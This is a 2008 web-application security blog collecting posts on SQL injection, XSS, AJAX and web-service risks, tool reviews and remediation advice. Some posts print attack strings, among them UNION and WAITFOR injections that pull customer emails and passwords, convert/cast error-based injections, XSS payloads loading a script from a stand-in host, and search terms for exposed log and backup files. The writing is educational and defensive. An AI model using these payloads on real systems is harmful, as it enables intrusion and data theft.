Thursday, January 17, 2008

ajax security (book release)

Billy Hoffman and Bryan Sullivan released a new book on AJAX Security this last month (or so). For those of you who aren't familiar with Billy and Bryan, they are/were involved in the SPI Dynamics group before being acquired by HP Software in late 2007. I would highly recommend that you grab a copy of this book for your library.

AJAX Security Book

[Ripped from Amazon]

Billy Hoffman is the lead researcher for HP Security Labs of HP Software. At HP, Billy focuses on JavaScript source code analysis, automated discovery of Web application vulnerabilities, and Web crawling technologies. He has worked in the security space since 2001 after he wrote an article on cracking software for 2600, “The Hacker Quarterly,” and learned that people would pay him to be curious. Over the years Billy has worked a variety of projects including reverse engineering file formats, micro-controllers, JavaScript malware, and magstripes. He is the creator of Stripe Snoop, a suite of research tools that captures, modifies, validates, generates, analyzes, and shares data from magstripes.

Bryan Sullivan is a software development manager for the Application Security Center division of HP Software. He has been a professional software developer and development manager for over 12 years, with the last five years focused on the Internet security software industry. Prior to HP, Bryan was a security researcher for SPI Dynamics, a leading Web application security company acquired by HP in August 2007.While at SPI, he created the DevInspect product, which analyzes Web applications for security vulnerabilities during development. Bryan is a frequent speaker at industry events, most recently AjaxWorld, Black Hat, and RSA. He was involved in the creation of the Application Vulnerability Description Language (AVDL) and has three patents on security assessment and remediation methodologies pending review.

Give yourself a little time with SQL Injection

I was recently involved in web application assessment and discovered something that I wanted to pass along. Keep in mind that this has probably been utilized before, but it is something that I just noticed so … I wanted to throw it out for your amusement.

To set the stage, I had been looking at this application for quite some time and had an idea that SQL Injection might exist, but I was having much difficulty determining if the injection was actually present. The application was catching errors, displaying 404’s, (etc) and really not displaying any good data to make a decision. So …. the question was … if the application is catching our errors and really not giving us anything to work with … how could we ask the question to the database to indicate if we were actually getting our requests processed by the database server?

Answer? Time.

Since the application is catching all of our attempts and not providing any good feedback the thought was … let’s come up with a way to have the database provide us an “indirect” response. To do this, I tried “waitfor”. WAITFOR specifies a time, time interval, or event that triggers the execution of a statement block, stored procedure, or transaction.

Syntax: WAITFOR { DELAY ‘time’ TIME ‘time’ }

To implement ‘waitfor’, simply tag it onto the end of the injection test you’re trying to accomplish. For example, if you’re injection string is:

30000' union select 1,email,password from Customers --

By implementing ‘waitfor’, your string might appear as….

30000' union select 1,email,password from Customers waitfor delay ‘0:0:30' --

Keep in mind that while the injection results might not appear to your screen, you will experience a delay of the response back to the browser. The point here is to demonstrate that:

  1. Our injection is being accepted by the database server
  2. The injection is executing.

So, while our injection string might not render results to the screen, we can test that the database server is executing our injection strings.

Tuesday, January 15, 2008

"Hacker Safe" Site Hacked, Data Stolen

It's simply amazing to me that folks will fall for the marketing literature. Hacker Safe? I think not....

http://www.cioinsight.com/article2/0,1540,2246925,00.asp

Saturday, January 12, 2008

Vidalia Project

Thank you, Baby Jesus!

I'm sure that many of you have seen this software (and i'm sure i'll hear about it), but I had to point out what could be one of the coolest tools out there for your warped heads. The tools is called Vidalia and it's found at http://vidalia-project.net/ . Seriously one of the nicer tools ....it has options that will absolutely help you with your anonymity.

Here's a rundown of what i have found....

  1. Tor: A tool-set for a wide range of organizations and people that want to improve their safety and security on the Internet. Using Tor can help you anonymize web browsing and publishing, instant messaging, IRC, SSH, and other applications that use the TCP protocol. Tor also provides a platform on which software developers can build new applications with built-in anonymity, safety, and privacy features.
  2. Bandwidth monitor: Okay ...so it's not that spectacular, but a nice touch.
  3. New Identity: I haven't been able to research this and exactly how it works, but i would guess that this function generally kills and creates a new Tor circuit. I'll have more information on this later (and will post it), but it definitely works.

This is a must download!

Top 15 SQL Injection Scanners

Keep in mind that I have played with most of the tools out on the web for SQL Injection, but these guys published this pretty nice list of SQL Injection scanners. I will say that there are a couple of commercial scanners that will rip the pants off of most of these, but again, you pay to play.

The Top 15 SQL Injection Scanners page is definitely something work seeking out. One addition to the list would be SQLiX which can be found on the OWASP page -- nice little tool if you're looking for something perl based.

Still Secure (Personal Edition)

For those of you who may have been living on the moon, I wanted to point out that Still Secure offers a great personal solution for you to run at home. Based on the snort IDS, Strata Guard is now available for download ...i highly recommend trying this out. Take me out back and shoot me, but I'm a huge believer in companies giving back to the little guys and when companies like still secure make such a great offering (for free), it's more than worth noting here.

You may get to the site by following: [ Download ]

SQL Injection in ASP.NET

This nice, little How-To shows a number of ways to help protect your ASP.NET application from SQL injection attacks. SQL injection can occur when an application uses input to construct dynamic SQL statements or when it uses stored procedures to connect to the database. Conventional security measures, such as the use of SSL and IPSec, do not protect your application from SQL injection attacks. Successful SQL injection attacks enable malicious users to execute commands in an application's database.

Countermeasures include using a list of acceptable characters to constrain input, using parameterized SQL for data access, and using a least privileged account that has restricted permissions in the database. Using stored procedures with parameterized SQL is the recommended approach because SQL parameters are type safe. Type-safe SQL parameters can also be used with dynamic SQL. In situations where parameterized SQL cannot be used, consider using character escaping techniques. [ more ]

Firefox Extensions

"Add-ons are small pieces of software that can add new features or tiny tweaks to your Firefox. They can add new search engines or dictionaries in other languages, change the look of Firefox with a new theme, or much more". (From the Mozilla Site)

Ok...with that out of the way, that’s the easiest way that these add-on’s can be explained..why should I reinvent the wheel, right? So...during pentesting, etc, I have found a few of these add-on’s to be pretty spectacular and simply thought it might be nice to mention them here.

  • Firebug: Firebug integrates with Firefox to put a wealth of development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.
  • Fire Encrypter: FireEncrypter is an Firefox extension which gives you encryption/decryption and hashing functionalities right from your Firefox browser, mostly useful for developers or for education & fun.
  • Execute JS: Execute JS is a enhanced JavaScript-Console, where you can comfortably enter and execute arbitrary JavaScript-Code and modify functions.
  • Fox Tor: Anonymous Web Browsing using the encrypted TOR network.
  • Web Developer: Adds a menu and a toolbar with various web developer tools.
  • Hackbar: Simple security audit / Penetration test tool (understatement on "simple". Don’t get too excited, but it does give you a bit of functionality without having to open up numerous tools).
  • Switch Proxy: SwitchProxy lets you manage and switch between multiple proxy configurations uickly and easily. You can also use it as an anonymizer to protect your computer from prying eyes.

That’s it for now...I will add more as we move forward.

DevInspect (SPI Dynamics)

You know, I am continuously impressed with the solution from SPI called DevInspect. SPI has just released version 4.0 for DevInspect and it continues to be my tool of choice for testing for web application vulnerabilities early in the lifecycle. If you haven't tried the solution, I would highly recommend doing so -- you can checkout the download here [ DevInpsect ].

From my evaluation, I found the following items which are definitely worth mentioning here:

  • Hybrid Analysis: will perform both white and black box testing on your applications. Whitebox testing focuses more on the source code analysis and input analysis and the blackbox testing has testing geared towards more of the zero knowledge of the application -- very much an "outside looking in" perspective.
  • SecureObjects: The secureobjects technology is fantastic! I was absolutely impressed at the abililty to create regular expressions on the fly and valididate application inputs quickly.
  • Brute Force Protection: DevInpsect was able to recognize application level attacks such as SQL Injection, XSS, Buffer Overflows, etc. and block them.
  • Brute Protector: In addition to everything above, SPI also offered the ability to protect any discovered controls that are discovered on the page simply by dragging the option from the toolbox. The Brute Protector provided the framework to guard the application and allowed me to respond to the events in the way we wanted to respond.
  • Scanning Engines: SPI's tool uses the inherant engines as seen in WebInspect which discovered tons of vulnerabilities in our [test] application.

Those are the notables that we found - you should ABSOLUTELY seek out this solution and give it a test run.

Cross-Site Scripting, Anyone?

I have read so many articles and posts about Cross-Site Scripting (XSS) that I thought ....why not? Why not give it a go and make this as easy as possible.

What is XSS?

XSS is really quite simple. XSS occurs when dynamically created pages reflect back things such as input submitted by the user (forms, bbs, etc) without the proper validation occuring in the application. Meaning, if you have a search field and you type in "Apple"....the application takes the data, does not properly validate that data and echos the phrase "Apple" back out to you in the page. The problem allows for users to be able to submit data such as scripting languages (HTML, JavaScript and VBScript) into the application and that code is then executed by the browser. In addition to the improper validation of the data, the outbound response data to the browser is not properly HTMLEncoded.

So what's the big deal?

Unfortunately, XSS is a very big deal. XSS was placed at the very top of the OWASP Top 10 list for 2007 where it is still leading the pack of application layer vulnerabilies. Now ... it would be reinventing the wheel to try and place all types of sample code on the page so i'll direct you to a nice list for your review. If you are interested in seeing a bit of code, I recommend the XSS Cheat Sheet.... a very nice list from RSnake. Typically, these attacks come in the following locations:

  • Search forms
  • Bulletin Boards
  • Error Messages
  • Forms

Sample Attack Vectors

With XSS, we can look at a couple of simple attack scenarios that might be utilized against a site.

  • Simple Script Tag

    What I refer to as a simple script tag is basically the "hello world" of XSS. In some component of the application, perhaps a form field input area, a parameter in the URL, an error code in the URL (for example, mypage.aspx?error=xss_script_here) may all be points for injection. A sample would be:

    /index.aspx?error=<>alert("XSS")< /script>

    Additionally, we might also discuss what is referred to as Appended URL XSS which would look like:

    index.aspx?a=1&b=<>alert("XSS")< /script>

  • Remote Script Call

    Calling a remote script is also a nice option with XSS. The opportunity to create your own script and place it on some server and then perform the injection is also very effective. If we were to have created a script and placed it on server "x.com", we might inject the following:

    < src="x.com/xss.js">

  • JS Events

    JS Events are often overlooked when discussing points of attack for XSS, but do provide a very nice injection point. Javascript provides numerous events for the language ... one might include:

    < onload="“javascript:malicious">

Keep in mind that there are numerous other attack vectors ... I am only listing a couple here.

What about remediation?

Fortunately, (as with most things in this world) the fix is not terribly difficult. There are two things that we need to be concerned about:

  • Input Validation
  • Outbound Encoding

So let's tackle the Input Validation issue first. With any type of input validation discussion, we can quickly get off on the subject of "White vs. Black" lists and here is my thought -- USE WHITE LISTS. If you're not familiar with White vs. Black lists, the answer is simple. White lists tell your application what you will accept and Black lists tell your application what to look for and to not accept. If I were going to have a party at my house and wanted to invite my friends over -- I would much rather give the door-man a list of my friends and who could come in rather than handing him a list of everyone else in the world (minus my friends) to look for and deny. Not terribly difficult.

So once we have figured out what data we are going to let in to my application, we want to make sure that we HTMLencode data before it is returned to the user. Now....there are a number of ways to use HTMLEncode (each language handles this in their own way; however, here I will show you a nice, clean example in C#.

public string HtmlEncode(
string s
);

Now...as mentioned before, there are a number of methods to perform HTMLEncode .... seek out your flavor and light it up!

AJAX [in]Security

First of all, let's get this out of the way.....AJAX itself does not introduce any new vulnerabilities to your applications....period.

The problem with AJAX is the way an AJAX application is implemented-- the same [old] mistakes are being made -- AJAX itself brings nothing new to the table. Quite honestly, if you review the common components of AJAX, you will see that there are really no new technologies being introduced with the framework ... developers are simply making the same errors in developing the application. Let's face it ....there is a pretty buzz around AJAX right now and folks are flocking to the solution like Bill Gates is flocking to the iPhone (you know he's going to buy one).

So....let's start from the beginning.

AJAX, shorthand for "Asynchronous JavaScript + XML," is a web development technique for creating interactive web applications. The intent is/was to make web pages feel more responsive (answer to the common latency issue of standard web apps) by exchanging small amounts of data with the server behind the scenes, so that the entire web page does not have to be reloaded each time the user requests a change. There are five (5) basic components of AJAX which are:

  1. User Interface -- Presentation using XHTML and CSS
  2. Document Rendering-- Dynamic display and interaction using the DOM
  3. Transport of Data -- Data interchange and manipulation using XML
  4. Messaging Handling -- Asynchronous data retrieval using XMLHttpRequest
  5. Javascript -- JavaScript is the Glue that holds it together

One of the key differences (and there are many) between a standard web application and an AJAX-based application is the method that data is exchanged between the client and the server. With a standard application, the client browser will make one large request to the server with everything it needs....an example HTTP Request would be:

-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
GET /index.html HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host: hostname.com
=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Once this request is submitted, the browser will flash, objects will spin, the planets will align and all this neat stuff happens in the background. On the other side of the fence, we do not "see" most of what is happening with an AJAX application due to the use of XMLHttpRequest object which is the technology that really performs much of the magic.

Introducing AJAX

So how does AJAX differ from these standard applications? The answer my friend, is javascript. In an attempt to create this "latent free" environment, much of once what was server side application logic has been extracted from the server and placed in a logic layer on the client. If we were to examine a standard web architecture we might see something like....

[client_browser]
+
[fw]
+
[server side logic]
+
[architecture]

By removing some of the logic from the server/application environment, we end up with ....

[client_browser]
+
[
javascript_logic_layer]
+
[firewall]
+
[server side logic]
+
[architecture]

You can see that much of the logic is now exposed to the client. With much of the logic now exposed, you can imagine that the surface area of the application is now represented to the end user.....these points of attack are a very common gateway for an attacker to now get in to the application.

Are we leaking information?

One concern for applying more logic to the endpoint is now much of your application is now mapped out for the end user. A few items to note would be that:

  • Function and Variable Names
  • Inputs and Validators
  • Parameters, Data Types and Return Types
  • etc.

Using solutions such as a localhost proxy, firebug or many other inspection tools might allow an attacker the ability to modify the code as it's being submitted and received in the connection.

Firebug

If you haven't been exposed to firebug, I would absolutely recommend you seek it out. Firebug is an add-on which inserts itself directly into the Firefox browser. Keep in mind that Firebug is NOT a tool for security testing your web applications, but is simply (in my opinion) a debugging tool. After you have installed firebug, you can generate traffic and it provides you with a nice little tool for object inspection.....it really gives you a great visual on exactly what the XMLHttpRequests are doing in the background.

Sprajax

If you are interested (on the other hand) in assessing your AJAX applications, there is a very nice little tool provided by the folks over at The Denim Group in San Antonio called Sprajax. To quote the OWASP site...."Sprajax is an open source black box security scanner used to assess the security of AJAX-enabled applications. By detecting the specific AJAX frameworks in use, Sprajax is able to better formulate test requests and identify potential vulnerabilities."

pastey.net

A very interesting site that I was introduced to today is a site called pastey.net. Basically, it appears to work off of the same concept as tinyurl; however, pastey basically works with strings of text.

Let me give you an example....

Let's assume that you have found some piece of code on one computer system and you need to move it over to a different system. Pastey allows for you to paste this code into a form-field and auto-magically....it generates a semi-random URL where you are able to grab your contents.

Flaw in system?

Well...unfortunately, i'm sure that there are 100 different reasons why you should use this system, however, there is one area of concern. Do not send sensitive data through the portal. There is a method for securing the data (not sure how that works...i'll look at that in the next day or so), but by running a simple fuzzer, were were able to view 1000's of other responses and uploads to the server (and you would be amazed at what we found). So....great idea, but unfortunately....the execution appears to be a bit too simple; however, perhaps that's exactly what they were going for....?

You have been warned.

Gmail Drive

Now this is creative.

// text stolen from site

GMail Drive is a Shell Namespace Extension that creates a virtual filesystem around your Google Gmail account, allowing you to use Gmail as a storage medium. GMail Drive creates a virtual filesystem on top of your Google Gmail account and enables you to save and retrieve files stored on your Gmail account directly from inside Windows Explorer. GMail Drive literally adds a new drive to your computer under the My Computer folder, where you can create new folders, copy and drag'n'drop files to.

http://www.viksoe.dk/code/gmail.htm
+++++EOF+++++

selectively deaf?

I'm not going to make it a habit to post lame rants ... I'm actually going to make an attempt to not be that boring; however, I really had an interesting Friday and wanted to throw this up out.

While meeting with a client, we had a long, boring discussion about their companies general readiness, approach, road-map and general web application security posture. Keep in mind that this company (which you have heard of) puts more money into sticky notes every year than your company (probably) grosses annually.

So....I was meeting with a person from their Information Security team and we starting chatting about the general dismissive nature of their developers when it comes to remediation of web application vulnerabilities. The person I met with is one of the companies ethical hackers and he mentioned that while performing penetration tests across multiple applications, they continued to find the same vulnerabilities over and over again (XSSSQL Injection, administrative problems, etc). Remediation information had been presented to these developers multiple times (along with the ramifications of the exploits) and the development teams continued to make no charge towards any secure development path.

Enter Rant...

What is it going to take to make companies really start to pay attention to what is going on out there? With groups like GartnerSymantec and a ton of others barking that 70-ish% of all vulnerabilities are now in the web application layer -- when are CEO's, CIO's and all of the other C-men (heh) going to wake up and start paying attention? What is it that makes "network security" so much more sexy. Seriously...I was building infrastructures with that defense-in-depth crap back in the late 90's and 00's ... i think it's about time we start paying attention to the real war. So seriously, folks....what's it really going to take? I'll throw in my own thought of why this is the way it is -- take it for what it's worth....but as long as companies continue to operate with "functionality before security" ... we are never going to get rid of this dirty imposition. Honestly? From my seat...it's pathetically sad and while it does appear to be getting a bit better (IBM picking up WatchfireHPpicking up SPI Dynamics) -- it does appear that we are starting to make a move towards the positive side of things.

Who knows. I'll climb down off of my box now ....

+++++EOF+++++

magic Pixy Dust

Over the weekend I was looking at a bit of PHP code on a mambo site and discovered this little tool for download. While I would absolutely agree with myself that I'm not the best PHP coder you will run across, I was interested to discover this little solution. It is definitely true that languages such as PHP are more difficult to assess based on the fact that they do require more manual intervention. Anyway .... introducing pixy.

[Blatant Rip] Pixy is a Java program that performs automatic scans of PHP 4 source code, aimed at the detection of XSS and SQL injection vulnerabilities. Pixy takes a PHP program as input, and creates a report that lists possible vulnerable points in the program, together with additional information for understanding the vulnerability.

http://pixybox.seclab.tuwien.ac.at/pixy/

+++++EOF+++++

Conversion Attacks with SQL Injection

With any discussion of SQL Injection, folks commonly tend to migrate towards two basic types of SQL Injection:

  • Verbose SQL Injection
  • Blind SQL Injection

If you were to sit down and compare the variations of SQL Injection, these two would probably cover the 80/20 rule for the majority of attacks. For those of you who might be unfamiliar with the differences.

Verbose SQL Injection is loosly based around the idea that you are reading from error messages which the application is providing to your malformed requests. Blind SQL injection is a bit different in that you are basically "flying blind" with your attacks. In other words, there are no error messages being returned to you (however, there may be other indications which we won't go into here), but rather, you are forced to play 20 questions with the server. The basics behind this attack is you are asking the server yes-no, true-false, binary, etc. questions in an attempt to weed your way through a possible injection. (For more information on Blind SQL Injection, I would recommend this whitepaper from SPI Dynamics)

Convert Attacks

Conversion attacks are absolutely nothing new, but I wanted to push out a post (sounds like a bathroom break) here because quite often, folks are unfamiliar with this attack technique.

Conversion attacks are really quite simple whereas you might use the "convert" or "cast" functionality in a database to gather additional information. For example, you might use the attack string in a particular form field:

xxx-xx-xxxx '

to initiate the litmus test for SQL Injection. By the returned results, you might try something like....

xxx-xx-xxxx ' union select name from sysobjects - -

If we are provided good data, we might then try to convert 'name' in the request. We are assuming much at this point (please remember, i'm only trying to pass along the idea here), but if we were given data which met our needs, we might try to convert 'name' in our query with...

xxx-xx-xxxx' union select convert(int,(name)) from sysobjects - -

When using functionality such as convert, you will quite often receive (barring this is verbose SQL Injection) an error message which resembles:

-=-=-=-=-=-=-=-
Conversion failed when converting the nvarchar value of 'Table_Name' to data type int.
-=-=-=-=-=-=-=-

While the conversion does fail, the attack (actually, the error message) generates a table name in the error message itself.

Cast Attacks

Casting a variable is also a nice option with Injections. A cast specifies how to perform a conversion between two data types. A simple example might be:

someError=cast((select name from sysobjects) as int) - -

Again, what I am describing here is nothing new; however, it's a very handy solution that might be of great assistance in digging around for data.

Additional Information

If I were going to recommend a couple of resources for additional information on SQL Injection, you might check out:

+++++EOF+++++

OWASP Live CD Project

I was scoping out the OWASP site this morning a ran across a nice idea that appears to have been born at OWASP. Apparently, they are going to jump into the live cd game with their knoppix-based cd project titled "OWASP Live CD Project". While I absolutely agree with the idea, I wouldn't run out and start the 800 meg download. The applications included are very limited in number -- you might find more bang for your buck with taking a copy of Backtrack v2.0 and simply install the 3-4 solutions below (not included on the current backtrack release).

The current tools (I'm finding) for the install are:

  • WebGoat v4
  • WebScarab
  • Paros
  • JBroFuZZ
  • Cal9000
  • Nmap
  • TcpDump
  • WireShark

OWASP Download

If you are interested in the download, you will find the information at OWASP or you can access thedirect link here.

+++++EOF+++++

Fuzzers

Fuzz testing or fuzzing is a software testing technique that provides random data ("fuzz") to the inputs of a program. If the program fails (for example, by crashing, or by failing built-in code assertions), the defects can be noted. [ From Wikipedia, the free encyclopedia ]

+++++EOF+++++

SQL Injectors

SQL injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. [ From Wikipedia, the free encyclopedia ]

+++++EOF+++++

Web Application Scanners

The following is a list of tools which we highly recommend you seek out.  If you have any of your own recommendations, please send updates and suggestions info@atrysk.com and we will add them to our list. 

Commercial Scanners

Open Source Tools

++++++++++

Security ISO's

The following is a list of tools which we highly recommend you seek out.  If you have any of your own recommendations, please send updates and suggestions info@atrysk.com and we will add them to our list. 

+++++EOF+++++

App Scanners vs. App Firewalls

If you’ve been around the Application Security world for any amount of time, you have probably listened to or participated in lengthy discussions on this topic.

The big question ... "Do I scan my application and fix my code or do I install an Application Firewall and block attacks?" It’s always interesting to hear different viewpoints from folks on what they would do given a particular situation so I thought, why not throw down a few thoughts.

I hold the belief that both solutions provide a valid option (given a particular situation). I must admit, I have deployed Application Firewalls and have purchased scanners ... both provided the necessary solution at the time of need. Here are a few of the things that I found.

Application Vulnerability Scanners

Positive:

  • Cost Effective (much cheaper than application firewalls)
  • Ability to assist in remediation of the actual problem
  • Easy to implement... no infrastructure changes needed
  • Very easy to use

Negative:

  • Most perform either blackbox OR whitebox testing
  • Difficult to get developers to adjust their code once issues are discovered (most reports go into the magic cylinder next to their desks)
  • False positives can be difficult to validate
  • Scanning can sometimes be performed after an attack and do not offer a real secure solution for those who do not implement code changes correctly (but...i must admit... the solutions offered for remediation in these tools has become so simple that a cave-person could do it ....(avoiding trademark issues)

Application Layer Firewalls

Positive:

  • Provide proactive protection strategy and allow for actual attacks to be blocked or filtered
  • Developers can go back to functionality as a strategy
  • Security team can pretty much go back to sleep and take on a less annoying roll

Negative:

  • Expensive!
  • Infrastructure Changes
  • Administration and Configuration: Not as easy to configure and maintain as some folks would lead you to believe.

Ok....so we have thrown out a list of goods and bads ....what the answer? Personally speaking ...fix your damn code. Period. Why put a band-aid on a open wound and allow it to bleed...pretty soon, you need to apply some pressure.

If you are seeking out a few solutions, you might begin with a couple of the market leaders:

Scanning Solutions:

Application Firewalls:

+++++EOF+++++

Web Service Attack Vectors

I have noticed over the last several months that more companies are beginning the migration to web services. What's a bit disturbing about this move is not the fact that companies are adding web services to their infrastructure, but the sheer volume of folks who have not yet realized that web services require the same type[s] of web application assessments that standard web applications require.

Ready? Aim? Attack?

A few notes for your nightly reading material. Keep in mind that this list is not the end-all, be-all of lists, but yes...please write this down in your Big Chief Notepad...

  • Web Services are subject to the same types of attacks as traditional web applications
  • Policies are blurred by integration and decoupling
  • Firewalls and SSL (not able to handle multi-hop transmissions) still don’t help much
  • Lack of end-to-end visibility
  • Poor design, Design Assumptions

Web Service Attacks

Unfortunately, WS's are still required assessment material for your developers, auditors or Information Security Team. For those who are unfamiliar with the attack types, here are a few:

  • XML Poisoning
  • Parameter Tampering
  • SQL Injection with SOAP Manipulation
  • XPATH Injection
  • LDAP Injection with SOAP
  • Directory Traversal and File System Access through SOAP
  • OS Command Execution
  • SOAP Message Brute Forcing
  • SOAP Parameter Manipulation with Buffer Overflow Attacks
  • Session Hijacking

I'm fairly certain that i'm probably missing several techniques here, but as soon as you master the list above, you can scream at me.

Policies are blurred...along with my vision of world peace

One common issue with WS (and SOA) architectures is the idea that the coupling of architectures might present a problem with security assessments and this is absolutely correct. As you might imagine, WS and SOA architectures do offer up a few challenges when it comes to assessments. Typically with WS architectures, the assessments begin with an exposed file known as the WSDL ("wiz-dell" (yes....I would love to take a wiz on my dell)). The WSDL file is essentially an XML-based file which defines the methods which are exposed for client connections. A common assessment would be to parse the XML file, understand its contents and perform a number of manipulation techniques against the file.

Firewalls and SSL

As with any conversation around web applications.... yes ....firewalls perform very little benefit to securing the web application. I do realize that this little blurb is focused more (or less) on WS architecture, however, it's worth noting this with regards to SOA. SSL offers up a particular challenge with SOA where it provides no true, end-to-end encryption solution for SOA. Each SSL certificate installed to the infrastructure must be terminated at it's next hop so these certificates will only provide a client-to-server encryption solution. Therefore, at each point in the architecture, a new certificate must be installed -- no one certificate can cover a multihop architecture. Additionally, this also adds to the idea that assessing an architecture where you have very poor (or complete lack of) end-to-end visibility increases the difficulty for web assessments.

Open up my raincoat? Yes, please.

If you had read through our little blurb on AJAX [In]Security, you will recognize that WS's also offer a particular amount of exposure to your application. Here is a sample file from Google's WS directive -- I'm hoping we are safe in inserting it here since it is publically availabe (google, if you want me to take it down....just write).

-=-=-=-=-=-=-=-=-=-=-=

< name="doGoogleSearch">
< name="key" type="">xsd:string"/ >
< name="q" type="">xsd:string"/ >
< name="start" type="">xsd:int"/ >
< name="maxResults" type="">xsd:int"/ >
< name="filter" type="">xsd:boolean"/ >
< name="restrict" type="">xsd:string"/ >
< name="safeSearch" type="">xsd:boolean"/ >
< name="lr" type="">xsd:string"/ >
< name="ie" type="">xsd:string"/ >
< name="oe" type="">xsd:string"/ >
< /message>
.........
< name="GoogleSearchService">
< name="GoogleSearchPort" binding="typens:GoogleSearchBinding">
< location="http://api.google.com/search/beta2">
< /port >
< /service>

-=-=-=-=-=-=-=-=-=-=-=

The exposure to many of these applications (while they may appear harmless) is the identification to what variables and types are being presented by the application. In our google sample above, you will will notice that most of the variable types (string, int, boolean, etc).

So folks, please keep WS applications in mind when you begin your conversations around your assessment criteria....the web service you save may be your own.
+++++
EOF+++++

Input Validation for C#

One critical aspect of web application development is the validation of data to your aplication. Input validation errors comprise the majority of application level vulnerabilties. Below is a very brief list of example regular expressions you might wish to consider for your code.

Download RegEx List

+++++EOF+++++

Vulnerability Series: HTTP Trace XSS

The HTTP Protocol (RFC 2616) allows for a number of options including:

  • ALLOW: (OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK)
  • PUBLIC: (OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH)

which provide for a number of functional components within the protocol (for a complete review of the HTTP standard, you may wish to visit RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1). Specifically, the TRACE method allows for the invocation of a remote loopback of the request message initiated by the client. The TRACE method allows the submitting client to view what is being received at the other end of the connection in hopes that the information might provide information and used as a debugging tool.

How to apply this attack

With TRACE enabled on the server, it is possible to utilize a Cross-Site Scripting attack and force a client to execute HTTP requests. As with many of the XSS-based vulnerabilites, a target for this vulnerability might be authentication information such as cookies, session id's, etc. Submitting a TRACE request to the server such as:

TRACE /<>alert(12345);< /script > HTTP/1.1
Referer: http://site/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Pragma: no-cache
Host: site
Connection: Keep-Alive
Cookie: 12345123451234512345

Typically, this request is performed with some type of intermediary tool such as:

  • Localhost Proxy (with the ability to intercept)
  • HTTP Editor
  • Telnet

By passing the script injections in the header of the HTTP request to the target, an attacker is able to execute the HTTP Trace attack.

Remediation

Please consult the following US-CERT documentation for remediation.

+++++EOF+++++

Vulnerability Series: WS FTP

WS_FTP is a popular ftp application which enables the upload of files to a web server. By default, the application is installed with the “Enable Logging” option turned on. This option saves WS_FTP.log activity log files to the remote web server.

An example log file might contain an entry similar to the following:

XXXXX/html/some/secret/directory/ws_ftp.log

How to apply this attack

Since this is a log file being uploaded to your web servers file system, simple browsing for the file will allow you to harvest results. One unfortunate solution might be to google ws_ftp.log as a search term. For example ...

XXXXXGoogle+Search

Remediation

If the administrator does not remove these files from the file system, attackers are able to utilize these log files to learn the exact structure of the file system and website.

+++++EOF+++++

Vulnerability Series: Backup Files

It's interesting that many systems administrators overlook the seriousness of backup files on a web server. Very often, developers and administrators will allow remnants of files scattered throughout the environment and while these files appear harmless, can result in a compromised system. Backup files can quite often contain very sensitive information about the system, application server or application code.

Administrators will often use the following extensions to backup files:

  • file.back
  • file.bak
  • file.org
  • file.tmp
  • file.temp
  • file-old
  • file.inc
  • file.orig
  • file..cp
  • file.save

How to apply this attack

Since these are files being saved to your web servers file system, simple browsing for the files will allow you to harvest results. One unfortunate solution might be to google for various search terms. For example …

XXXXXfile_name.bak site:atrysk.com

Remediation

Never save miscellaneous or backup files of any type/extension to the webroot of a server.

+++++EOF+++++

Vulnerability Series: Database Error Messages

When not properly handled, database error messages may provide quite a bit of critical information to an attacker. A common cause of this error, is the failure to properly santize data being submitted to the environment. Quite often an attacker will use database error messages (or any other error type) to finger print the environment. Consider the following questions we might we might apply to this type of fingerprint:

  • What is the servers’ function within the organization?
  • What type of data is it handling?
  • What type of server is this? Is this server a Database server? Application server? Web server?
  • What system(s) or application(s) does this system or application data interact with?

Armed with this information, an attacker may be able focus on specific vulnerabilities that may exist in the environment.

How to apply this attack

There are numerous attack types for the execution of this attack-type so for simplicity, I will throw out the most common attack (which we know you have heard of)....SQL Injection. To apply SQL Injection, I would recommend seeking out a couple of different resources....

Are you looking for SQL Injection tools?

Remediation

There are more than enough whitepapers out on the internet which describe the so-called "fix" for SQL Injection so we won't get into a long debate for the fix -- I'm simply going to provide my opinion and additional resources.

  • Input Validation, Input Validation, Input Validation
  • Parameterized SQL Queries
  • Use the principle of Least Privilege (on the SQL Server)
  • Turn off error messages
  • web.config for the default handler
  • Secure the server
  • Turn off error messages

One note that I would like to offer about protecting yourself against SQL Injection which deals with Stored Procedures. Stored Procedures are great and if you decide to use them in your code, I wish you the best of luck; however, stored procedures do NOTHING for protecting your code against SQL Injection.

If you are looking for the ultimate protection from SQL Injection, I highly recommend the use of parameterized queries (for more information on PQ's, please seek out one of many articles around the net (and/or Microsoft)).

+++++EOF+++++

Vulnerability Series: SQL Injection

When not properly handled, database error messages may provide quite a bit of critical information to an attacker. A common cause of this error, is the failure to properly santize data being submitted to the environment. Quite often an attacker will use database error messages (or any other error type) to finger print the environment. Consider the following questions we might we might apply to this type of fingerprint:

  • What is the servers’ function within the organization?
  • What type of data is it handling?
  • What type of server is this? Is this server a Database server? Application server? Web server?
  • What system(s) or application(s) does this system or application data interact with?

Armed with this information, an attacker may be able focus on specific vulnerabilities that may exist in the environment.

How to apply this attack

To apply SQL Injection, I would recommend seeking out a couple of different resources....

Are you looking for SQL Injection tools?

Remediation

There are more than enough whitepapers out on the internet which describe the so-called "fix" for SQL Injection so we won't get into a long debate for the fix -- I'm simply going to provide my opinion and additional resources.

  • Input Validation, Input Validation, Input Validation
  • Parameterized SQL Queries
  • Use the principle of Least Privilege (on the SQL Server)
  • Turn off error messages
  • web.config for the default handler
  • Secure the server
  • Turn off error messages

One note that I would like to offer about protecting yourself against SQL Injection which deals with Stored Procedures. Stored Procedures are great and if you decide to use them in your code, I wish you the best of luck; however, stored procedures do NOTHING for protecting your code against SQL Injection.

